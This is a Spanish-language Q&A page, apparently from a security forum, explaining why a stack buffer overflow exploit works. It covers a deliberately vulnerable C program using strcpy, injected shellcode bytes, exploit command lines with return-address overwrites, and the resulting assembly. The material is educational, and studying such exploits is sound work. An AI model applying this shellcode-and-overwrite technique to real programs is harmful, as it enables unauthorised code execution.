Explicando una vulnerabilidad de desbordamiento de búfer en C

4

Dado este programa en C:

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
  char buf[1024];
  strcpy(buf, argv[1]);
}

Construido con:

gcc -m32 -z execstack prog.c -o prog

Código de shell dado:

EGG=$(printf '\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/df')

El programa es explotable con los comandos:

./prog $EGG$(python -c 'print "A" * 991 + "\x87\x83\x04\x08"')
./prog $EGG$(python -c 'print "A" * 991 + "\x0f\x84\x04\x08"')

donde obtuve las direcciones de:

$ objdump -d prog | grep call.*eax
 8048387:   ff d0                   call   *%eax
 804840f:   ff d0                   call   *%eax

Entiendo el significado de los rellenos AAAA en el medio, calculé el 991 según la longitud de buf en el programa y la longitud de $EGG .

Lo que no entiendo es por qué cualquiera de estas direcciones con call *%eax desencadena la ejecución del shellcode copiado al principio de buf . Por lo que entiendo, estoy sobrescribiendo la dirección de retorno con 0x8048387 (o la otra), lo que no entiendo es por qué esto lleva a saltar al código de shell.

Llegué tan lejos al leer Aplastar la pila por diversión y beneficio . Pero el artículo utiliza un enfoque diferente de adivinar una dirección relativa para saltar al shellcode. Estoy desconcertado por la razón por la que funciona esta solución alternativa más simple, directa y sin conjeturas.

    
pregunta janos 28.09.2013 - 23:16
fuente

1 respuesta

11

En procesadores x86 de 32 bits, con el formato ELF en uso en sistemas Linux, la función los estados de la convención de llamadas (página 3-12) que:

  

Una función que devuelve un valor de integral o puntero coloca su resultado en el registro %eax .

En su programa, el último elemento de main() es una llamada a strcpy() . Esa función devuelve una copia de su primer argumento, aquí un puntero a la matriz buf[] . Entonces, cuando se alcanza el final de main() , %eax todavía apunta a la matriz buf[] , de modo que ahí es donde el call *%eax saltará: a la matriz que contiene el código de shell.

Si no está seguro, consulte el código de ensamblaje generado:

$ gcc -m32 -z execstack -fno-stack-protector prog.s
$ cat prog.s
    .file   "prog.c"
    .text
    .globl  main
    .type   main, @function
main:
.LFB0:
    .cfi_startproc
    pushl   %ebp
    .cfi_def_cfa_offset 8
    .cfi_offset 5, -8
    movl    %esp, %ebp
    .cfi_def_cfa_register 5
    andl    $-16, %esp
    subl    $1040, %esp
    movl    12(%ebp), %eax
    addl    $4, %eax
    movl    (%eax), %eax
    movl    %eax, 4(%esp)
    leal    16(%esp), %eax
    movl    %eax, (%esp)
    call    strcpy
    leave
    .cfi_restore 5
    .cfi_def_cfa 4, 4
    ret
    .cfi_endproc
.LFE0:
    .size   main, .-main
    .ident  "GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3"
    .section    .note.GNU-stack,"",@progbits

¿Ver al final? Después del call strcpy , solo hay un leave , luego un ret , ninguno de los cuales modifica %eax . Entonces, cuando se alcanza el ret , %eax todavía contiene el valor que fue establecido por la función strcpy() , y eso es un puntero a la matriz buf[] .

Si agrega un return 0; después de la llamada a strcpy() , entonces el exploit ya no funciona, porque ese return 0; establecerá %eax en 0 antes de regresar; y el call *%eax saltará a la dirección 0, lo que provocará un fallo de segmentación. En el código de ensamblaje generado por GCC, vería un movl $0, %eax adicional antes del leave .

    
respondido por el Tom Leek 29.09.2013 - 00:36
fuente

Lea otras preguntas en las etiquetas